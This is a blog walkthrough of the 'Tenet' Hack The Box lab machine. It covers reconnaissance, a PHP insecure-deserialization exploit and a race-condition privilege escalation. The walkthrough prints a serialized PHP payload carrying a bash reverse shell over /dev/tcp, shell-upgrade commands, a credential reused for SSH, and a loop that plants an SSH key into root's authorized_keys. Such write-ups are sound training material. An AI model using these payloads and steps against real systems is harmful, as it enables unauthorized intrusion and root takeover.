Hack The Box Tenet Walkthrough without Metasploit

Abhishek Rautela
16 min readJul 17, 2021


Tenet is a medium-rated but comparatively easy box, that required a straightforward PHP deserialization exploit to gain a foothold and exploiting a race condition vulnerability to privesc.


We will begin the reconnaissance phase with an all-port Nmap TCP scan.

sudo nmap -T4 -p- -sC -sV -vv -Pn -oA nmap/full-tcp
  • -T4 : Run faster scan
  • -sC : Specifies Nmap to run default scripts
  • -sV : Specifies Nmap to run service and version detection
  • -Pn : Treat all hosts as online (skip host discovery)
  • -p- : Scan all ports
  • -vv : Verbose output
  • -oA : Output all formats

NMAP returns the following scan result.

# Nmap 7.80 scan initiated Sat Feb 27 02:14:29 2021 as: nmap -T4 -p- -sC -sV -vv -Pn -oA nmap/full-tcp
Warning: giving up on port because retransmission cap hit (6).
Nmap scan report for
Host is up, received user-set (0.40s latency).
Scanned at 2021-02-27 02:14:29 EST for 813s
Not shown: 65517 closed ports
Reason: 65517 resets
22/tcp open ssh syn-ack ttl 63 OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 cc:ca:43:d4:4c:e7:4e:bf:26:f4:27:ea:b8:75:a8:f8 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDA4SymrtoAxhSnm6gIUPFcp1VhjoVue64X4LIvoYolM5BQPblUj2aezdd9aRI227jVzfkOD4Kg3OW2yT5uxFljn7q/Mh5/muGvUNA+nNO6pCC0tZPoPEwMT+QvR3XyQXxbP6povh4GISBySLw/DFQoG3A2t80Giyq5Q7P+1LH1f/m63DyiNXOPS8fNBPz59BDEgC9jJ5Lu2DTu8ko1xE/85MLYyBKRSFHEkqagRXIYUwVQASHgo3OoJ+VAcBTJZH1TmXDc4c6W0hIPpQW5dyvj3tdjKjlIkw6dH2at9NL3gnTP5xnsoiOu0dyofm2L5fvBpzvOzUnQ2rps2wANTZwZ
| 256 85:f3:ac:ba:1a:6a:03:59:e2:7e:86:47:e7:3e:3c:00 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBLMM1BQpjspHo9teJwTFZntx+nxj8D51/Nu0nI3atUpyPg/bXlNYi26boH8zYTrC6fWepgaG2GZigAqxN4yuwgo=
| 256 e7:e9:9a:dd:c3:4a:2f:7a:e1:e0:5d:a2:b0:ca:44:a8 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIMQeNqzXOE6aVR3ulHIyB8EGf1ZaUSCNuou5+cgmNXvt
80/tcp open http syn-ack ttl 63 Apache httpd 2.4.29 ((Ubuntu))
| http-methods:
|_ Supported Methods: HEAD POST OPTIONS
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sat Feb 27 02:28:02 2021 -- 1 IP address (1 host up) scanned in 813.63 seconds

We have two ports open on the box

  • Port 22: SSH(OpenSSH 7.6p1 Ubuntu)
  • Port 80: Apache httpd 2.4.29

I also ran a quick UDP scan but it didn’t return anything of interest.

sudo nmap -vv --reason -Pn -sU -A --top-ports=20 --version-all -oA ud-top-20
  • -vv: Return Verbose Output(Level 2).
  • — reason: Display why Nmap thinks a particular port is open or not.
  • — top-ports=20: Scan only top 20 UDP ports.
  • — version-all: Display version info of open ports.

UDP scan result:

# Nmap 7.80 scan initiated Sun Feb 28 00:41:08 2021 as: nmap -vv --reason -Pn -sU -A --top-ports=20 --version-all -oA ud-top-20
Increasing send delay for from 0 to 50 due to 11 out of 18 dropped probes since last increase.
Nmap scan report for tenet.htb (
Host is up, received user-set (0.58s latency).
Scanned at 2021-02-28 00:41:09 EST for 164s
53/udp closed domain port-unreach ttl 63
67/udp open|filtered dhcps no-response
68/udp closed dhcpc port-unreach ttl 63
69/udp closed tftp port-unreach ttl 63
123/udp closed ntp port-unreach ttl 63
135/udp closed msrpc port-unreach ttl 63
137/udp closed netbios-ns port-unreach ttl 63
138/udp open|filtered netbios-dgm no-response
139/udp closed netbios-ssn port-unreach ttl 63
161/udp closed snmp port-unreach ttl 63
162/udp closed snmptrap port-unreach ttl 63
445/udp closed microsoft-ds port-unreach ttl 63
500/udp closed isakmp port-unreach ttl 63
514/udp closed syslog port-unreach ttl 63
520/udp open|filtered route no-response
631/udp closed ipp port-unreach ttl 63
1434/udp open|filtered ms-sql-m no-response
1900/udp closed upnp port-unreach ttl 63
4500/udp closed nat-t-ike port-unreach ttl 63
49152/udp closed unknown port-unreach ttl 63
Too many fingerprints match this host to give specific OS details
TCP/IP fingerprint:
Network Distance: 2 hopsTRACEROUTE (using port 49152/udp)
1 548.58 ms
2 828.11 ms tenet.htb (
Read data files from: /usr/bin/../share/nmap
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sun Feb 28 00:43:53 2021 -- 1 IP address (1 host up) scanned in 165.74 seconds


We now know the open ports. We’ll begin our enumeration with port 22 as it has a narrow range of attack vectors.

Port 22

We have OpenSSH 7.6p1 running on a Ubuntu machine. A simple google search reveals that the Ubuntu version is probably Ubuntu Bionic. The version of SSH is not associated with some major vulnerability so we will leave this port for now.

Port 80

We have Apache httpd 2.4.29 running on port 80. The version of Apache doesn’t have any critical vulnerabilities so let’s check the web interface.

We have a default Apache2 webpage. I always like to check for server banner and programming language info with whatweb, you can also check this with Curl.

whatweb --no-errors -a 3 -v | tee whatweb.log

Whatweb returns the following data.

WhatWeb report for 
Status : 200 OK
Title : Apache2 Ubuntu Default Page: It works
IP :
Country : RESERVED, ZZ

Summary : Apache[2.4.29], HTTPServer[Ubuntu Linux][Apache/2.4.29 (Ubuntu)]

Detected Plugins:
[ Apache ]
The Apache HTTP Server Project is an effort to develop and
maintain an open-source HTTP server for modern operating
systems including UNIX and Windows NT. The goal of this
project is to provide a secure, efficient and extensible
server that provides HTTP services in sync with the current
HTTP standards.

Version : 2.4.29 (from HTTP Server Header)
Google Dorks: (3)
Website : http://httpd.apache.org/

[ HTTPServer ]
HTTP server header string. This plugin also attempts to
identify the operating system from the server header.

OS : Ubuntu Linux
String : Apache/2.4.29 (Ubuntu) (from server string)

HTTP Headers:
HTTP/1.1 200 OK
Date: Sun, 28 Feb 2021 03:02:28 GMT
Server: Apache/2.4.29 (Ubuntu)
Last-Modified: Wed, 16 Dec 2020 11:19:09 GMT
ETag: "2aa6-5b6930b5181c7-gzip"
Accept-Ranges: bytes
Vary: Accept-Encoding
Content-Encoding: gzip
Content-Length: 3138
Connection: close
Content-Type: text/html

Whatweb didn’t returned anything interesting so let’s move on and perform a directory bruteforcing. As we have an Apache webserver running we’ll check for PHP files, which are more common on an Apache webserver.

gobuster dir -u -w /usr/share/seclists/Discovery/Web-Content/common.txt -x php,txt -t 30 -o gobuster.out

Gobuster returns the following results.

Great. We have two hits.

The users.txt just displayed a success string so nothing interesting there. WordPress is infamous for many security vulnerabilities over the years.

Navigating the website at , we find that the website code seems to be broken and the website is unable to load css files.

Let’s check the source code and hunt for anything of interest.

We get a hostname tenet.htb. Add the hostname to /etc/hosts file.

Opening the URL http://tenet.htb we get the following page.

Navigating around the website we get more pages. The developers seem to be working on some migration program but we do not have enough info to dig deeper into this.

On one of the pages, we get a comment from Neil user regarding the sator.php file and backup. This is a finding, let’s note it down for the time being.

So, the only thing we have from the website is a file name and a potential username. The website is built on WordPress so let’s fire up WPScan.

wpscan --url http://tenet.htb  --enumerate u --plugins-detection aggressive | tee wpscan.log

WPScan might take some time to run so it would be better if you keep it running in the background while you hunt for anomalies and findings.

WPScan returns the following output:

__ _______ _____
\ \ / / __ \ / ____|
\ \ /\ / /| |__) | (___ ___ __ _ _ __ ®
\ \/ \/ / | ___/ \___ \ / __|/ _` | '_ \
\ /\ / | | ____) | (__| (_| | | | |
\/ \/ |_| |_____/ \___|\__,_|_| |_|

WordPress Security Scanner by the WPScan Team
Version 3.8.14
Sponsored by Automattic - https://automattic.com/
@_WPScan_, @ethicalhack3r, @erwan_lr, @firefart

[+] URL: http://tenet.htb/ []
[+] Started: Sat Feb 27 22:20:01 2021

Interesting Finding(s):

[+] Headers
| Interesting Entry: Server: Apache/2.4.29 (Ubuntu)
| Found By: Headers (Passive Detection)
| Confidence: 100%

[+] XML-RPC seems to be enabled: http://tenet.htb/xmlrpc.php
| Found By: Direct Access (Aggressive Detection)
| Confidence: 100%
| References:
| - http://codex.wordpress.org/XML-RPC_Pingback_API
| - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_ghost_scanner
| - https://www.rapid7.com/db/modules/auxiliary/dos/http/wordpress_xmlrpc_dos
| - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_xmlrpc_login
| - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_pingback_access

[+] WordPress readme found: http://tenet.htb/readme.html
| Found By: Direct Access (Aggressive Detection)
| Confidence: 100%

[+] Upload directory has listing enabled: http://tenet.htb/wp-content/uploads/
| Found By: Direct Access (Aggressive Detection)
| Confidence: 100%

[+] The external WP-Cron seems to be enabled: http://tenet.htb/wp-cron.php
| Found By: Direct Access (Aggressive Detection)
| Confidence: 60%
| References:
| - https://www.iplocation.net/defend-wordpress-from-ddos
| - https://github.com/wpscanteam/wpscan/issues/1299

[+] WordPress version 5.6 identified (Outdated, released on 2020-12-08).
| Found By: Rss Generator (Passive Detection)
| - http://tenet.htb/index.php/feed/, <generator>https://wordpress.org/?v=5.6</generator>
| - http://tenet.htb/index.php/comments/feed/, <generator>https://wordpress.org/?v=5.6</generator

[+] WordPress theme in use: twentytwentyone
| Location: http://tenet.htb/wp-content/themes/twentytwentyone/
| Last Updated: 2020-12-22T00:00:00.000Z
| Readme: http://tenet.htb/wp-content/themes/twentytwentyone/readme.txt
| [!] The version is out of date, the latest version is 1.1
| Style URL: http://tenet.htb/wp-content/themes/twentytwentyone/style.css?ver=1.0
| Style Name: Twenty Twenty-One
| Style URI: https://wordpress.org/themes/twentytwentyone/
| Description: Twenty Twenty-One is a blank canvas for your ideas and it makes the block editor yo
ur best brush. Wi...
| Author: the WordPress team
| Author URI: https://wordpress.org/
| Found By: Css Style In Homepage (Passive Detection)
| Version: 1.0 (80% confidence)
| Found By: Style (Passive Detection)
| - http://tenet.htb/wp-content/themes/twentytwentyone/style.css?ver=1.0, Match: 'Version: 1.0'

[+] Enumerating Users (via Passive and Aggressive Methods)

Brute Forcing Author IDs -: |=====================================================================

[i] User(s) Identified:

[+] protagonist
| Found By: Author Posts - Author Pattern (Passive Detection)
| Confirmed By:
| Rss Generator (Passive Detection)
| Wp Json Api (Aggressive Detection)
| - http://tenet.htb/index.php/wp-json/wp/v2/users/?per_page=100&page=1
| Author Id Brute Forcing - Author Pattern (Aggressive Detection)
| Login Error Messages (Aggressive Detection)

[+] neil
| Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)
| Confirmed By: Login Error Messages (Aggressive Detection)

[!] No WPScan API Token given, as a result vulnerability data has not been output.
[!] You can get a free API token with 50 daily requests by registering at https://wpscan.com/regist

[+] Finished: Sat Feb 27 22:20:05 2021
[+] Requests Done: 14
[+] Cached Requests: 50
[+] Data Sent: 3.586 KB
[+] Data Received: 18.173 KB
[+] Memory used: 164.43 MB
[+] Elapsed time: 00:00:04

WPScan returned few interesting things:

The first thing I tried attacking was xmlrpc.php. xmlrpc.php is vulnerable to pingback attacks and can allow us to enumerate usernames or perform an internal port scan in the worst-case scenario.

Refer to the following blog post to learn more about xmlrpc.php.

The rest of the things also lead nowhere, so I decided to move on.

WPScan also returned two usernames

  • protagonist
  • neil

We can try to perform bruteforcing WordPress admin console with Hydra but let’s enumerate more before walking that path.

We know a filename sator.php. Opening the file we get a 404 error, so the file doesn’t exist. But what about subdomains? What if sator is actually a subdomain? I used ffuf to hunt for subdomains and confirm my theory.

Add the subdomain to the /etc/hosts file.

  • sator.tenet.htb

Visiting the new subdomain we get the default Apache2 webpage.

The subdomain also contains the users.txt file we found earlier with gobuster.

On opening the sator.php file, we get the following page.

The webpage seems to grabbing data from the users.txt file and updating some sort of database. We still do not have enough info.

What about the backup file? Let’s try to find the backup file stated by Neil user. Unable to find /backup , /backups. How does Linux store backups? .bak?

We get a file sator.php.bak. Download the file with wget as shown.

Open the file in a text editor of your choice. The code is pretty easy to understand. The developer has created a class named DatabaseExport and assign a file name ‘users.txt’ to a variable user_file. There is an update_db() function that prints the lines we saw earlier in the sator.php file and updates the value of the data variable to ‘Success’(The script is only changing the value of the data variable, No database is being actually updated).

The script then has a magic function __destruct() that uses file_put_contents() function to write the value of data variable(Success) into the users.txt and print the ‘Database updated’ string.

Now we know why the users.txt was displaying ‘Success’ string.

Note: Magic functions in PHP are functions that do not require to be called. Magic function __destruct() is the opposite of __construct() function and is called as soon as there are no other references to a particular object, or in any order during the shutdown sequence.

You can read more about magic methods here:

The next lines in the code create an input variable that accepts a GET request as a ‘repo’ argument. The script then sends the value of this input variable into a unserialize() function and creates an instance(app) of class DatabaseExport. The instance calls the update_db() function which prints the string we got earlier in sator.php.

The lines of interest here are where the script is accepting a GET request and passing the value to an unserialize function. Now, what is unserialize, and how to exploit it?

Serialization is the process of converting some object into a data format(JSON or XML) that can be restored when required. JSON is the most widely used format for serializing data.

Deserialization is the reverse of serialization i.e. converting structured data format into an object. In PHP unserialize() function is used for deserializing data. You can read more about deserialization at the following links.

Why is this bad? A website must never deserialize a user input in any case. If exploited successfully an attacker can manipulate serialized objects in order to pass harmful data into the application code. The impact of insecure deserialization can be very severe as it can act as an entry point to the application source code. It allows an attacker to exploit the existing application code that can lead to remote code execution, privilege escalation, arbitrary file access, and denial-of-service attacks.

How to exploit? Well, we can exploit deserialization in multiple ways such as modifying attribute values, supply unexpected data types, injecting arbitrary objects or memory corruption, etc. In our case, we will create a PHP class called DatabaseExport and write some malicious code into it. We can then serialize the entire class and pass it to the repo argument. This will cause the application to deserialize our malicious payload and give us a reverse shell.


Open an interactive PHP shell with ‘php -a’ command. The interactive shell is also called as REPL(Read Evaluate Print Loop) shell. Create a payload as follows:

class DatabaseExport {
public $user_file = 'shell.php';
public $data = '<?php exec("/bin/bash -c \'bash -i > /dev/tcp/ 0>&1\'"); ?>';

print urlencode(serialize(new DatabaseExport));

What did we do? We created a class with the same name as the application and create a variable user_file and assign it a value of ‘shell.php’. We then created a data variable and pass a simple one-liner BASH reverse shell within a PHP exec() function. In PHP we can use exec(), shell_exec() and passthru() functions to run a system command. We then serialized the entire class with serialize function and creating an instance within. We also urlencoded the entire string with urlencode() function. Make sure to name the variables and class name just as it was in the backup file.

Once you get the string pass it over to sator.php as a get request.


We get the following response. This means our class got deserialized and the application executed our malicious code. Now, if everything went as planned, the application must have created a shell.php file in the same directory, with a BASH reverse shell in it.

Open the shell.php file with curl or in a browser, and create a netcat listener on the mentioned port.

We get a reverse shell as www-data user. Upgrade to a TTY shell as follows.

python3 -c 'import pty; pty.spawn("/bin/bash")'

Hit ctrl+z to background the job.

stty raw -echo

Type fg (You will not be able to view the characters as you type) and hit enter twice.

Export the TERM variable:

export TERM=xterm

In another window check the number of rows and columns of our terminal:

stty -a

Set the number of rows and columns in our reverse shell:

stty rows 32 columns 145

We now have a fully interactive shell with tab autocomplete.

Privilege Escalation

Before running any automated tool I like to check the basic privesc vectors like SUID, SUDO, Groups, and cron jobs.

find / -perm -4000 -ls 2>/dev/nullsudo -lgroupscat/etc/cron*

We do not get anything interesting. The next thing I did was to hunt for interesting files in the file system. We had an instance of WordPress on the box, navigate to /var/www/html/wordpress.

WordPress usually stores the database credentials in wp-config.php. Checking the file we get the Username(neil) and Password(Opera2112).

You can try to log in to MYSQL but it is quite common for people to reuse passwords. SSH into the box with the credentials.

Great. We are now Neil user. Let us recheck basic privesc vectors once again.

Checking the sudo permissions, we get that neil can execute a shell script as root without providing a password.

Analyzing the contents of the shell script we find that the script creates a temporary file in /tmp/ssh-xxxxxxx and writes a ssh public key into it. The script then checks if the file exists and if it does, write the content of the file into the authorized_keys file of the root user. It then checks if it was able to write or not and display different output based on that check.

We do not have write permissions to the script but we do have execute permission. How is this vulnerable? This is a perfect example of race condition vulnerability. If we can somehow write into the /tmp/ssh-XXXXXX file before the script we can insert anything into the authorized_keys of the root user.

A race condition occurs when multiple processes or threads try to read and write the same variable i.e. they have access to shared data and try to change it at the same time.

To exploit this vulnerability let us create a ssh public and private key pair with the following command:

ssh-keygen -f id_rsa

Adding the ssh key manually can be time-consuming as we do not know the number of attempts in which we will be able to write into the file(remember this is a race between the script and us).

We will instead create a BASH loop to help us automate the task. Grab the public ssh key we created(id_rsa.pub) and insert it into a loop with neil user as follows:

while true; do echo "ssh-rsa AAenOHzoeWkax3Oqc6W7tIrX7BEyXJlbrdQaa...................................quYDiKvlBGhkcmanjePRrnQzLgEjtEFTVLdL5Bvzep9cs= kali@kali" | tee /tmp/ssh-* > /dev/null; done

Here we created an infinite loop that will print the ssh public key and copy it to any file that matches the pattern /tmp/ssh- . We also passed it to /dev/null to suppress any output or errors.

After some time try login as root user with the private key.

Note: If you didn’t create the ssh key with the command I used, you must modify the file permissions of the private key as follows.

chmod 600 id_rsa

We are root..!!!!!! To be honest, this didn’t work on my first attempt and I had to revert the box, so don’t shy away from a revert. We can now grab the flags.

Parting Thoughts

In this box, we learned about Insecure Deserialization and Race Conditions. We also learned how to analyze code and hunt for bugs. The entry point was a bit CTF like but the privesc to Neil and root user was a 100% real-world example. You can learn more about Insecure Deserialization in PHP at the following links:

Deserialization in Java Apps:

Thank You for reading. Until next time.

For queries/suggestions find me on Twitter @accesscheck.